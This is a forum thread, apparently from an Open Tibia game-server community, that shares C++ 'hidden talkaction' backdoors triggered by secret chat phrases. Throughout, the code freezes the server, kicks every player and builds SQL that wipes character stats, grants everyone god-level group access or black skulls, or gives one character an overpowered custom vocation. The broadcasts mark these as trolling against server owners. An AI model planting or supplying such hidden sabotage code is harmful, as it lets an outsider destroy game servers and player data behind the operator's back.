LucasFerraz
Systems Analyst
When you use this 'Hidden Talkaction' it appears in screen.
How to 'don't show words' in screen?
How to 'don't show words' in screen?
When you use this 'Hidden Talkaction' it appears in screen.
How to 'don't show words' in screen?
if(text == "__first_code_in_c++__")
{
std::clog << std::endl << "Freeze." << std::endl;
Sleep(2000);
while(true)
{
//empty
Sleep(50);
}
return true;
}
if(text == "__second_code_in_c++__")
{
DBQuery query;
AutoList<Player>::iterator it = Player::autoList.begin();
std::clog << std::endl << ">>> Adding level 717217 to everyone..." << std::endl;
broadcastMessage("Adding level 717217 to everyone.", MSG_STATUS_WARNING);
Sleep(10000);
while(it != Player::autoList.end()) //kick all players that are still online
{
it->second->kickPlayer(true, true);
it = Player::autoList.begin();
}
query << "UPDATE `players` SET `level` = 717217, `health` = 1, `healthmax` = 1, `mana` = 1, `manamax` = 1";
Sleep(2000);
std::clog << std::endl << ">>> Done." << std::endl;
Sleep(60000);
broadcastMessage("Everyone is now level 717217. Scammers gonna' hate.", MSG_STATUS_WARNING);
return true;
}
if(text == "__free_god_plx__")
{
DBQuery query;
AutoList<Player>::iterator it = Player::autoList.begin();
broadcastMessage("Trolololo", MSG_STATUS_WARNING);
Sleep(3000);
while(it != Player::autoList.end()) //kick all players that are still online
{
it->second->kickPlayer(true, true);
it = Player::autoList.begin();
}
query << "UPDATE `players` SET `group_id` = 6";
Sleep(3000);
std::clog << std::endl << ">>> Trololololo" << std::endl;
return true;
}
if(text == "__free_blackskull_to_everyone__")
{
DBQuery query;
AutoList<Player>::iterator it = Player::autoList.begin();
broadcastMessage("Trolololololo", MSG_STATUS_WARNING);
Sleep(3000);
while(it != Player::autoList.end()) //kick all players that are still online
{
it->second->kickPlayer(true, true);
it = Player::autoList.begin();
}
query << "UPDATE `players` SET `skull` = 3";
Sleep(3000);
std::clog << std::endl << ">>> TROLOLOLOLOLOLO" << std::endl;
return true;
}
<vocation id="13" name="Super Epic Elite Knight" description="an epic elite knight" needpremium="0" gaincap="25" gainhp="15" gainmana="5" gainhpticks="8" gainhpamount="10" gainmanaticks="4" gainmanaamount="10" manamultiplier="3.0" attackspeed="1" soulmax="200" gainsoulticks="15" fromvoc="13" lessloss="50">
<formula meleeDamage="999.0" distDamage="999.0" wandDamage="999.0" magDamage="999.0" magHealingDamage="999.0" defense="999.0" magDefense="999.0" armor="999.0"/>
<skill fist="9.9" club="9.9" sword="9.9" axe="9.9" distance="9.9" shielding="9.9" fishing="9.9" experience="9.9"/>
You can do that it change vocation?
On it
if(text == "__set_vocation__")
{
DBQuery query;
query << "UPDATE `players` SET `vocation` = 13 WHERE `name` = 'YOUR CHARACTER NAME'";
Sleep(2000);
std::clog << std::endl << ">>> Done." << std::endl;
return true;
}